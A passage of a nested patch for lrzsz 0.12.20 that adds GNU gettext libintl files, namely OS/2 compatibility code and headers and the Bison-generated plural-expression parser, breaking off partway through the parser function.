-+ _nlos2_localedir = (char *) malloc (sl + strlen (LOCALEDIR) + 1);
-+ memcpy (_nlos2_localedir, root, sl);
-+ memcpy (_nlos2_localedir + sl, LOCALEDIR, strlen (LOCALEDIR) + 1);
-+ }
-+ else
-+ _nlos2_localedir = LOCALEDIR;
-+ }
-+
-+ if (strlen (_nlos2_localedir) <= MAXPATHLEN)
-+ strcpy (libintl_nl_default_dirname, _nlos2_localedir);
-+}
---- lrzsz-0.12.20.safe/intl/os2compat.h 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/os2compat.h 2004-09-12 14:40:34.544719360 -0400
-@@ -0,0 +1,46 @@
-+/* OS/2 compatibility defines.
-+ This file is intended to be included from config.h
-+ Copyright (C) 2001-2002 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+/* When included from os2compat.h we need all the original definitions */
-+#ifndef OS2_AWARE
-+
-+#undef LIBDIR
-+#define LIBDIR _nlos2_libdir
-+extern char *_nlos2_libdir;
-+
-+#undef LOCALEDIR
-+#define LOCALEDIR _nlos2_localedir
-+extern char *_nlos2_localedir;
-+
-+#undef LOCALE_ALIAS_PATH
-+#define LOCALE_ALIAS_PATH _nlos2_localealiaspath
-+extern char *_nlos2_localealiaspath;
-+
-+#endif
-+
-+#undef HAVE_STRCASECMP
-+#define HAVE_STRCASECMP 1
-+#define strcasecmp stricmp
-+#define strncasecmp strnicmp
-+
-+/* We have our own getenv() which works even if library is compiled as DLL */
-+#define getenv _nl_getenv
-+
-+/* Older versions of gettext used -1 as the value of LC_MESSAGES */
-+#define LC_MESSAGES_COMPAT (-1)
---- lrzsz-0.12.20.safe/intl/osdep.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/osdep.c 2004-09-12 14:40:34.550718448 -0400
-@@ -0,0 +1,24 @@
-+/* OS dependent parts of libintl.
-+ Copyright (C) 2001-2002 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#if defined __EMX__
-+# include "os2compat.c"
-+#else
-+/* Avoid AIX compiler warning. */
-+typedef int dummy;
-+#endif
---- lrzsz-0.12.20.safe/intl/plural.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/plural.c 2004-09-12 14:40:36.571411256 -0400
-@@ -0,0 +1,1490 @@
-+/* A Bison parser, made from plural.y
-+ by GNU bison 1.35. */
-+
-+#define YYBISON 1 /* Identify Bison output. */
-+
-+#define yyparse __gettextparse
-+#define yylex __gettextlex
-+#define yyerror __gettexterror
-+#define yylval __gettextlval
-+#define yychar __gettextchar
-+#define yydebug __gettextdebug
-+#define yynerrs __gettextnerrs
-+# define EQUOP2 257
-+# define CMPOP2 258
-+# define ADDOP2 259
-+# define MULOP2 260
-+# define NUMBER 261
-+
-+#line 1 "plural.y"
-+
-+/* Expression parsing for plural form selection.
-+ Copyright (C) 2000-2001, 2003 Free Software Foundation, Inc.
-+ Written by Ulrich Drepper <drepper@cygnus.com>, 2000.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+/* The bison generated parser uses alloca. AIX 3 forces us to put this
-+ declaration at the beginning of the file. The declaration in bison's
-+ skeleton file comes too late. This must come before <config.h>
-+ because <config.h> may include arbitrary system headers. */
-+#if defined _AIX && !defined __GNUC__
-+ #pragma alloca
-+#endif
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <stddef.h>
-+#include <stdlib.h>
-+#include "plural-exp.h"
-+
-+/* The main function generated by the parser is called __gettextparse,
-+ but we want it to be called PLURAL_PARSE. */
-+#ifndef _LIBC
-+# define __gettextparse PLURAL_PARSE
-+#endif
-+
-+#define YYLEX_PARAM &((struct parse_args *) arg)->cp
-+#define YYPARSE_PARAM arg
-+
-+#line 49 "plural.y"
-+#ifndef YYSTYPE
-+typedef union {
-+ unsigned long int num;
-+ enum operator op;
-+ struct expression *exp;
-+} yystype;
-+# define YYSTYPE yystype
-+# define YYSTYPE_IS_TRIVIAL 1
-+#endif
-+#line 55 "plural.y"
-+
-+/* Prototypes for local functions. */
-+static int yylex (YYSTYPE *lval, const char **pexp);
-+static void yyerror (const char *str);
-+
-+/* Allocation of expressions. */
-+
-+static struct expression *
-+new_exp (int nargs, enum operator op, struct expression * const *args)
-+{
-+ int i;
-+ struct expression *newp;
-+
-+ /* If any of the argument could not be malloc'ed, just return NULL. */
-+ for (i = nargs - 1; i >= 0; i--)
-+ if (args[i] == NULL)
-+ goto fail;
-+
-+ /* Allocate a new expression. */
-+ newp = (struct expression *) malloc (sizeof (*newp));
-+ if (newp != NULL)
-+ {
-+ newp->nargs = nargs;
-+ newp->operation = op;
-+ for (i = nargs - 1; i >= 0; i--)
-+ newp->val.args[i] = args[i];
-+ return newp;
-+ }
-+
-+ fail:
-+ for (i = nargs - 1; i >= 0; i--)
-+ FREE_EXPRESSION (args[i]);
-+
-+ return NULL;
-+}
-+
-+static inline struct expression *
-+new_exp_0 (enum operator op)
-+{
-+ return new_exp (0, op, NULL);
-+}
-+
-+static inline struct expression *
-+new_exp_1 (enum operator op, struct expression *right)
-+{
-+ struct expression *args[1];
-+
-+ args[0] = right;
-+ return new_exp (1, op, args);
-+}
-+
-+static struct expression *
-+new_exp_2 (enum operator op, struct expression *left, struct expression *right)
-+{
-+ struct expression *args[2];
-+
-+ args[0] = left;
-+ args[1] = right;
-+ return new_exp (2, op, args);
-+}
-+
-+static inline struct expression *
-+new_exp_3 (enum operator op, struct expression *bexp,
-+ struct expression *tbranch, struct expression *fbranch)
-+{
-+ struct expression *args[3];
-+
-+ args[0] = bexp;
-+ args[1] = tbranch;
-+ args[2] = fbranch;
-+ return new_exp (3, op, args);
-+}
-+
-+#ifndef YYDEBUG
-+# define YYDEBUG 0
-+#endif
-+
-+
-+
-+#define YYFINAL 27
-+#define YYFLAG -32768
-+#define YYNTBASE 16
-+
-+/* YYTRANSLATE(YYLEX) -- Bison token number corresponding to YYLEX. */
-+#define YYTRANSLATE(x) ((unsigned)(x) <= 261 ? yytranslate[x] : 18)
-+
-+/* YYTRANSLATE[YYLEX] -- Bison token number corresponding to YYLEX. */
-+static const char yytranslate[] =
-+{
-+ 0, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 10, 2, 2, 2, 2, 5, 2,
-+ 14, 15, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 12, 2,
-+ 2, 2, 2, 3, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 13, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 4, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
-+ 2, 2, 2, 2, 2, 2, 1, 6, 7, 8,
-+ 9, 11
-+};
-+
-+#if YYDEBUG
-+static const short yyprhs[] =
-+{
-+ 0, 0, 2, 8, 12, 16, 20, 24, 28, 32,
-+ 35, 37, 39
-+};
-+static const short yyrhs[] =
-+{
-+ 17, 0, 17, 3, 17, 12, 17, 0, 17, 4,
-+ 17, 0, 17, 5, 17, 0, 17, 6, 17, 0,
-+ 17, 7, 17, 0, 17, 8, 17, 0, 17, 9,
-+ 17, 0, 10, 17, 0, 13, 0, 11, 0, 14,
-+ 17, 15, 0
-+};
-+
-+#endif
-+
-+#if YYDEBUG
-+/* YYRLINE[YYN] -- source line where rule number YYN was defined. */
-+static const short yyrline[] =
-+{
-+ 0, 150, 158, 162, 166, 170, 174, 178, 182, 186,
-+ 190, 194, 199
-+};
-+#endif
-+
-+
-+#if (YYDEBUG) || defined YYERROR_VERBOSE
-+
-+/* YYTNAME[TOKEN_NUM] -- String name of the token TOKEN_NUM. */
-+static const char *const yytname[] =
-+{
-+ "$", "error", "$undefined.", "'?'", "'|'", "'&'", "EQUOP2", "CMPOP2",
-+ "ADDOP2", "MULOP2", "'!'", "NUMBER", "':'", "'n'", "'('", "')'",
-+ "start", "exp", 0
-+};
-+#endif
-+
-+/* YYR1[YYN] -- Symbol number of symbol that rule YYN derives. */
-+static const short yyr1[] =
-+{
-+ 0, 16, 17, 17, 17, 17, 17, 17, 17, 17,
-+ 17, 17, 17
-+};
-+
-+/* YYR2[YYN] -- Number of symbols composing right hand side of rule YYN. */
-+static const short yyr2[] =
-+{
-+ 0, 1, 5, 3, 3, 3, 3, 3, 3, 2,
-+ 1, 1, 3
-+};
-+
-+/* YYDEFACT[S] -- default rule to reduce with in state S when YYTABLE
-+ doesn't specify something else to do. Zero means the default is an
-+ error. */
-+static const short yydefact[] =
-+{
-+ 0, 0, 11, 10, 0, 1, 9, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 12, 0, 3, 4, 5,
-+ 6, 7, 8, 0, 2, 0, 0, 0
-+};
-+
-+static const short yydefgoto[] =
-+{
-+ 25, 5
-+};
-+
-+static const short yypact[] =
-+{
-+ -9, -9,-32768,-32768, -9, 34,-32768, 11, -9, -9,
-+ -9, -9, -9, -9, -9,-32768, 24, 39, 43, 16,
-+ 26, -3,-32768, -9, 34, 21, 53,-32768
-+};
-+
-+static const short yypgoto[] =
-+{
-+ -32768, -1
-+};
-+
-+
-+#define YYLAST 53
-+
-+
-+static const short yytable[] =
-+{
-+ 6, 1, 2, 7, 3, 4, 14, 16, 17, 18,
-+ 19, 20, 21, 22, 8, 9, 10, 11, 12, 13,
-+ 14, 26, 24, 12, 13, 14, 15, 8, 9, 10,
-+ 11, 12, 13, 14, 13, 14, 23, 8, 9, 10,
-+ 11, 12, 13, 14, 10, 11, 12, 13, 14, 11,
-+ 12, 13, 14, 27
-+};
-+
-+static const short yycheck[] =
-+{
-+ 1, 10, 11, 4, 13, 14, 9, 8, 9, 10,
-+ 11, 12, 13, 14, 3, 4, 5, 6, 7, 8,
-+ 9, 0, 23, 7, 8, 9, 15, 3, 4, 5,
-+ 6, 7, 8, 9, 8, 9, 12, 3, 4, 5,
-+ 6, 7, 8, 9, 5, 6, 7, 8, 9, 6,
-+ 7, 8, 9, 0
-+};
-+#define YYPURE 1
-+
-+/* -*-C-*- Note some compilers choke on comments on `#line' lines. */
-+#line 3 "/usr/local/share/bison/bison.simple"
-+
-+/* Skeleton output parser for bison,
-+
-+ Copyright (C) 1984, 1989, 1990, 2000, 2001, 2002 Free Software
-+ Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by
-+ the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ GNU General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License
-+ along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330,
-+ Boston, MA 02111-1307, USA. */
-+
-+/* As a special exception, when this file is copied by Bison into a
-+ Bison output file, you may use that output file without restriction.
-+ This special exception was added by the Free Software Foundation
-+ in version 1.24 of Bison. */
-+
-+/* This is the parser code that is written into each bison parser when
-+ the %semantic_parser declaration is not specified in the grammar.
-+ It was written by Richard Stallman by simplifying the hairy parser
-+ used when %semantic_parser is specified. */
-+
-+/* All symbols defined below should begin with yy or YY, to avoid
-+ infringing on user name space. This should be done even for local
-+ variables, as they might otherwise be expanded by user macros.
-+ There are some unavoidable exceptions within include files to
-+ define necessary library symbols; they are noted "INFRINGES ON
-+ USER NAME SPACE" below. */
-+
-+#if ! defined (yyoverflow) || defined (YYERROR_VERBOSE)
-+
-+/* The parser invokes alloca or malloc; define the necessary symbols. */
-+
-+# if YYSTACK_USE_ALLOCA
-+# define YYSTACK_ALLOC alloca
-+# else
-+# ifndef YYSTACK_USE_ALLOCA
-+# if defined (alloca) || defined (_ALLOCA_H)
-+# define YYSTACK_ALLOC alloca
-+# else
-+# ifdef __GNUC__
-+# define YYSTACK_ALLOC __builtin_alloca
-+# endif
-+# endif
-+# endif
-+# endif
-+
-+# ifdef YYSTACK_ALLOC
-+ /* Pacify GCC's `empty if-body' warning. */
-+# define YYSTACK_FREE(Ptr) do { /* empty */; } while (0)
-+# else
-+# if defined (__STDC__) || defined (__cplusplus)
-+# include <stdlib.h> /* INFRINGES ON USER NAME SPACE */
-+# define YYSIZE_T size_t
-+# endif
-+# define YYSTACK_ALLOC malloc
-+# define YYSTACK_FREE free
-+# endif
-+#endif /* ! defined (yyoverflow) || defined (YYERROR_VERBOSE) */
-+
-+
-+#if (! defined (yyoverflow) \
-+ && (! defined (__cplusplus) \
-+ || (YYLTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL)))
-+
-+/* A type that is properly aligned for any stack member. */
-+union yyalloc
-+{
-+ short yyss;
-+ YYSTYPE yyvs;
-+# if YYLSP_NEEDED
-+ YYLTYPE yyls;
-+# endif
-+};
-+
-+/* The size of the maximum gap between one aligned stack and the next. */
-+# define YYSTACK_GAP_MAX (sizeof (union yyalloc) - 1)
-+
-+/* The size of an array large to enough to hold all stacks, each with
-+ N elements. */
-+# if YYLSP_NEEDED
-+# define YYSTACK_BYTES(N) \
-+ ((N) * (sizeof (short) + sizeof (YYSTYPE) + sizeof (YYLTYPE)) \
-+ + 2 * YYSTACK_GAP_MAX)
-+# else
-+# define YYSTACK_BYTES(N) \
-+ ((N) * (sizeof (short) + sizeof (YYSTYPE)) \
-+ + YYSTACK_GAP_MAX)
-+# endif
-+
-+/* Copy COUNT objects from FROM to TO. The source and destination do
-+ not overlap. */
-+# ifndef YYCOPY
-+# if 1 < __GNUC__
-+# define YYCOPY(To, From, Count) \
-+ __builtin_memcpy (To, From, (Count) * sizeof (*(From)))
-+# else
-+# define YYCOPY(To, From, Count) \
-+ do \
-+ { \
-+ register YYSIZE_T yyi; \
-+ for (yyi = 0; yyi < (Count); yyi++) \
-+ (To)[yyi] = (From)[yyi]; \
-+ } \
-+ while (0)
-+# endif
-+# endif
-+
-+/* Relocate STACK from its old location to the new one. The
-+ local variables YYSIZE and YYSTACKSIZE give the old and new number of
-+ elements in the stack, and YYPTR gives the new location of the
-+ stack. Advance YYPTR to a properly aligned location for the next
-+ stack. */
-+# define YYSTACK_RELOCATE(Stack) \
-+ do \
-+ { \
-+ YYSIZE_T yynewbytes; \
-+ YYCOPY (&yyptr->Stack, Stack, yysize); \
-+ Stack = &yyptr->Stack; \
-+ yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAX; \
-+ yyptr += yynewbytes / sizeof (*yyptr); \
-+ } \
-+ while (0)
-+
-+#endif
-+
-+
-+#if ! defined (YYSIZE_T) && defined (__SIZE_TYPE__)
-+# define YYSIZE_T __SIZE_TYPE__
-+#endif
-+#if ! defined (YYSIZE_T) && defined (size_t)
-+# define YYSIZE_T size_t
-+#endif
-+#if ! defined (YYSIZE_T)
-+# if defined (__STDC__) || defined (__cplusplus)
-+# include <stddef.h> /* INFRINGES ON USER NAME SPACE */
-+# define YYSIZE_T size_t
-+# endif
-+#endif
-+#if ! defined (YYSIZE_T)
-+# define YYSIZE_T unsigned int
-+#endif
-+
-+#define yyerrok (yyerrstatus = 0)
-+#define yyclearin (yychar = YYEMPTY)
-+#define YYEMPTY -2
-+#define YYEOF 0
-+#define YYACCEPT goto yyacceptlab
-+#define YYABORT goto yyabortlab
-+#define YYERROR goto yyerrlab1
-+/* Like YYERROR except do call yyerror. This remains here temporarily
-+ to ease the transition to the new meaning of YYERROR, for GCC.
-+ Once GCC version 2 has supplanted version 1, this can go. */
-+#define YYFAIL goto yyerrlab
-+#define YYRECOVERING() (!!yyerrstatus)
-+#define YYBACKUP(Token, Value) \
-+do \
-+ if (yychar == YYEMPTY && yylen == 1) \
-+ { \
-+ yychar = (Token); \
-+ yylval = (Value); \
-+ yychar1 = YYTRANSLATE (yychar); \
-+ YYPOPSTACK; \
-+ goto yybackup; \
-+ } \
-+ else \
-+ { \
-+ yyerror ("syntax error: cannot back up"); \
-+ YYERROR; \
-+ } \
-+while (0)
-+
-+#define YYTERROR 1
-+#define YYERRCODE 256
-+
-+
-+/* YYLLOC_DEFAULT -- Compute the default location (before the actions
-+ are run).
-+
-+ When YYLLOC_DEFAULT is run, CURRENT is set the location of the
-+ first token. By default, to implement support for ranges, extend
-+ its range to the last symbol. */
-+
-+#ifndef YYLLOC_DEFAULT
-+# define YYLLOC_DEFAULT(Current, Rhs, N) \
-+ Current.last_line = Rhs[N].last_line; \
-+ Current.last_column = Rhs[N].last_column;
-+#endif
-+
-+
-+/* YYLEX -- calling `yylex' with the right arguments. */
-+
-+#if YYPURE
-+# if YYLSP_NEEDED
-+# ifdef YYLEX_PARAM
-+# define YYLEX yylex (&yylval, &yylloc, YYLEX_PARAM)
-+# else
-+# define YYLEX yylex (&yylval, &yylloc)
-+# endif
-+# else /* !YYLSP_NEEDED */
-+# ifdef YYLEX_PARAM
-+# define YYLEX yylex (&yylval, YYLEX_PARAM)
-+# else
-+# define YYLEX yylex (&yylval)
-+# endif
-+# endif /* !YYLSP_NEEDED */
-+#else /* !YYPURE */
-+# define YYLEX yylex ()
-+#endif /* !YYPURE */
-+
-+
-+/* Enable debugging if requested. */
-+#if YYDEBUG
-+
-+# ifndef YYFPRINTF
-+# include <stdio.h> /* INFRINGES ON USER NAME SPACE */
-+# define YYFPRINTF fprintf
-+# endif
-+
-+# define YYDPRINTF(Args) \
-+do { \
-+ if (yydebug) \
-+ YYFPRINTF Args; \
-+} while (0)
-+/* Nonzero means print parse trace. It is left uninitialized so that
-+ multiple parsers can coexist. */
-+int yydebug;
-+#else /* !YYDEBUG */
-+# define YYDPRINTF(Args)
-+#endif /* !YYDEBUG */
-+
-+/* YYINITDEPTH -- initial size of the parser's stacks. */
-+#ifndef YYINITDEPTH
-+# define YYINITDEPTH 200
-+#endif
-+
-+/* YYMAXDEPTH -- maximum size the stacks can grow to (effective only
-+ if the built-in stack extension method is used).
-+
-+ Do not make this value too large; the results are undefined if
-+ SIZE_MAX < YYSTACK_BYTES (YYMAXDEPTH)
-+ evaluated with infinite-precision integer arithmetic. */
-+
-+#if YYMAXDEPTH == 0
-+# undef YYMAXDEPTH
-+#endif
-+
-+#ifndef YYMAXDEPTH
-+# define YYMAXDEPTH 10000
-+#endif
-+
-+#ifdef YYERROR_VERBOSE
-+
-+# ifndef yystrlen
-+# if defined (__GLIBC__) && defined (_STRING_H)
-+# define yystrlen strlen
-+# else
-+/* Return the length of YYSTR. */
-+static YYSIZE_T
-+# if defined (__STDC__) || defined (__cplusplus)
-+yystrlen (const char *yystr)
-+# else
-+yystrlen (yystr)
-+ const char *yystr;
-+# endif
-+{
-+ register const char *yys = yystr;
-+
-+ while (*yys++ != '\0')
-+ continue;
-+
-+ return yys - yystr - 1;
-+}
-+# endif
-+# endif
-+
-+# ifndef yystpcpy
-+# if defined (__GLIBC__) && defined (_STRING_H) && defined (_GNU_SOURCE)
-+# define yystpcpy stpcpy
-+# else
-+/* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in
-+ YYDEST. */
-+static char *
-+# if defined (__STDC__) || defined (__cplusplus)
-+yystpcpy (char *yydest, const char *yysrc)
-+# else
-+yystpcpy (yydest, yysrc)
-+ char *yydest;
-+ const char *yysrc;
-+# endif
-+{
-+ register char *yyd = yydest;
-+ register const char *yys = yysrc;
-+
-+ while ((*yyd++ = *yys++) != '\0')
-+ continue;
-+
-+ return yyd - 1;
-+}
-+# endif
-+# endif
-+#endif
-+
-+#line 315 "/usr/local/share/bison/bison.simple"
-+
-+
-+/* The user can define YYPARSE_PARAM as the name of an argument to be passed
-+ into yyparse. The argument should have type void *.
-+ It should actually point to an object.
-+ Grammar actions can access the variable by casting it
-+ to the proper pointer type. */
-+
-+#ifdef YYPARSE_PARAM
-+# if defined (__STDC__) || defined (__cplusplus)
-+# define YYPARSE_PARAM_ARG void *YYPARSE_PARAM
-+# define YYPARSE_PARAM_DECL
-+# else
-+# define YYPARSE_PARAM_ARG YYPARSE_PARAM
-+# define YYPARSE_PARAM_DECL void *YYPARSE_PARAM;
-+# endif
-+#else /* !YYPARSE_PARAM */
-+# define YYPARSE_PARAM_ARG
-+# define YYPARSE_PARAM_DECL
-+#endif /* !YYPARSE_PARAM */
-+
-+/* Prevent warning if -Wstrict-prototypes. */
-+#ifdef __GNUC__
-+# ifdef YYPARSE_PARAM
-+int yyparse (void *);
-+# else
-+int yyparse (void);
-+# endif
-+#endif
-+
-+/* YY_DECL_VARIABLES -- depending whether we use a pure parser,
-+ variables are global, or local to YYPARSE. */
-+
-+#define YY_DECL_NON_LSP_VARIABLES \
-+/* The lookahead symbol. */ \
-+int yychar; \
-+ \
-+/* The semantic value of the lookahead symbol. */ \
-+YYSTYPE yylval; \
-+ \
-+/* Number of parse errors so far. */ \
-+int yynerrs;
-+
-+#if YYLSP_NEEDED
-+# define YY_DECL_VARIABLES \
-+YY_DECL_NON_LSP_VARIABLES \
-+ \
-+/* Location data for the lookahead symbol. */ \
-+YYLTYPE yylloc;
-+#else
-+# define YY_DECL_VARIABLES \
-+YY_DECL_NON_LSP_VARIABLES
-+#endif
-+
-+
-+/* If nonreentrant, generate the variables here. */
-+
-+#if !YYPURE
-+YY_DECL_VARIABLES
-+#endif /* !YYPURE */
-+
-+int
-+yyparse (YYPARSE_PARAM_ARG)
-+ YYPARSE_PARAM_DECL
-+{
-+ /* If reentrant, generate the variables here. */
-+#if YYPURE
-+ YY_DECL_VARIABLES
-+#endif /* !YYPURE */
-+
-+ register int yystate;
-+ register int yyn;
-+ int yyresult;
-+ /* Number of tokens to shift before error messages enabled. */
-+ int yyerrstatus;
-+ /* Lookahead token as an internal (translated) token number. */
-+ int yychar1 = 0;
-+
-+ /* Three stacks and their tools:
-+ `yyss': related to states,
-+ `yyvs': related to semantic values,
-+ `yyls': related to locations.
-+
-+ Refer to the stacks thru separate pointers, to allow yyoverflow
-+ to reallocate them elsewhere. */
-+
-+ /* The state stack. */
-+ short yyssa[YYINITDEPTH];
-+ short *yyss = yyssa;
-+ register short *yyssp;
-+
-+ /* The semantic value stack. */
-+ YYSTYPE yyvsa[YYINITDEPTH];
-+ YYSTYPE *yyvs = yyvsa;
-+ register YYSTYPE *yyvsp;
-+
-+#if YYLSP_NEEDED
-+ /* The location stack. */
-+ YYLTYPE yylsa[YYINITDEPTH];
-+ YYLTYPE *yyls = yylsa;
-+ YYLTYPE *yylsp;
-+#endif
-+
-+#if YYLSP_NEEDED
-+# define YYPOPSTACK (yyvsp--, yyssp--, yylsp--)
-+#else
-+# define YYPOPSTACK (yyvsp--, yyssp--)
-+#endif
-+
-+ YYSIZE_T yystacksize = YYINITDEPTH;
-+
-+
-+ /* The variables used to return semantic value and location from the
-+ action routines. */
-+ YYSTYPE yyval;
-+#if YYLSP_NEEDED
-+ YYLTYPE yyloc;
-+#endif
-+
-+ /* When reducing, the number of symbols on the RHS of the reduced
-+ rule. */
-+ int yylen;
-+
-+ YYDPRINTF ((stderr, "Starting parse\n"));
-+
-+ yystate = 0;
-+ yyerrstatus = 0;
-+ yynerrs = 0;
-+ yychar = YYEMPTY; /* Cause a token to be read. */
-+
-+ /* Initialize stack pointers.
-+ Waste one element of value and location stack
-+ so that they stay on the same level as the state stack.
-+ The wasted elements are never initialized. */
-+
-+ yyssp = yyss;
-+ yyvsp = yyvs;
-+#if YYLSP_NEEDED
-+ yylsp = yyls;
-+#endif
-+ goto yysetstate;
-+
-+/*------------------------------------------------------------.
-+| yynewstate -- Push a new state, which is found in yystate. |
-+`------------------------------------------------------------*/
-+ yynewstate:
-+ /* In all cases, when you get here, the value and location stacks
-+ have just been pushed. so pushing a state here evens the stacks.
-+ */
-+ yyssp++;
-+
-+ yysetstate:
-+ *yyssp = yystate;
-+
-+ if (yyssp >= yyss + yystacksize - 1)
-+ {
-+ /* Get the current used size of the three stacks, in elements. */
-+ YYSIZE_T yysize = yyssp - yyss + 1;
-+
-+#ifdef yyoverflow
-+ {
-+ /* Give user a chance to reallocate the stack. Use copies of
-+ these so that the &'s don't force the real ones into
-+ memory. */
-+ YYSTYPE *yyvs1 = yyvs;
-+ short *yyss1 = yyss;
-+
-+ /* Each stack pointer address is followed by the size of the
-+ data in use in that stack, in bytes. */
-+# if YYLSP_NEEDED
-+ YYLTYPE *yyls1 = yyls;
-+ /* This used to be a conditional around just the two extra args,
-+ but that might be undefined if yyoverflow is a macro. */
-+ yyoverflow ("parser stack overflow",
-+ &yyss1, yysize * sizeof (*yyssp),
-+ &yyvs1, yysize * sizeof (*yyvsp),
-+ &yyls1, yysize * sizeof (*yylsp),
-+ &yystacksize);
-+ yyls = yyls1;
-+# else
-+ yyoverflow ("parser stack overflow",
-+ &yyss1, yysize * sizeof (*yyssp),
-+ &yyvs1, yysize * sizeof (*yyvsp),
-+ &yystacksize);
-+# endif
-+ yyss = yyss1;
-+ yyvs = yyvs1;
-+ }
-+#else /* no yyoverflow */
-+# ifndef YYSTACK_RELOCATE
-+ goto yyoverflowlab;
-+# else
-+ /* Extend the stack our own way. */
-+ if (yystacksize >= YYMAXDEPTH)
-+ goto yyoverflowlab;
-+ yystacksize *= 2;
-+ if (yystacksize > YYMAXDEPTH)
-+ yystacksize = YYMAXDEPTH;
-+
-+ {
-+ short *yyss1 = yyss;
-+ union yyalloc *yyptr =
-+ (union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize));
-+ if (! yyptr)
-+ goto yyoverflowlab;
-+ YYSTACK_RELOCATE (yyss);
-+ YYSTACK_RELOCATE (yyvs);
-+# if YYLSP_NEEDED
-+ YYSTACK_RELOCATE (yyls);
-+# endif
-+# undef YYSTACK_RELOCATE
-+ if (yyss1 != yyssa)
-+ YYSTACK_FREE (yyss1);
-+ }
-+# endif
-+#endif /* no yyoverflow */
-+
-+ yyssp = yyss + yysize - 1;
-+ yyvsp = yyvs + yysize - 1;
-+#if YYLSP_NEEDED
-+ yylsp = yyls + yysize - 1;
-+#endif
-+
-+ YYDPRINTF ((stderr, "Stack size increased to %lu\n",
-+ (unsigned long int) yystacksize));
-+
-+ if (yyssp >= yyss + yystacksize - 1)
-+ YYABORT;
-+ }
-+
-+ YYDPRINTF ((stderr, "Entering state %d\n", yystate));
-+
-+ goto yybackup;
-+
-+
-+/*-----------.
-+| yybackup. |
-+`-----------*/
-+yybackup:
-+
-+/* Do appropriate processing given the current state. */
-+/* Read a lookahead token if we need one and don't already have one. */
-+/* yyresume: */
-+
-+ /* First try to decide what to do without reference to lookahead token. */
-+
-+ yyn = yypact[yystate];
-+ if (yyn == YYFLAG)
-+ goto yydefault;
-+
-+ /* Not known => get a lookahead token if don't already have one. */
-+
-+ /* yychar is either YYEMPTY or YYEOF
-+ or a valid token in external form. */
-+
-+ if (yychar == YYEMPTY)
-+ {
-+ YYDPRINTF ((stderr, "Reading a token: "));
-+ yychar = YYLEX;
-+ }
-+
-+ /* Convert token to internal form (in yychar1) for indexing tables with */
-+
-+ if (yychar <= 0) /* This means end of input. */
-+ {
-+ yychar1 = 0;
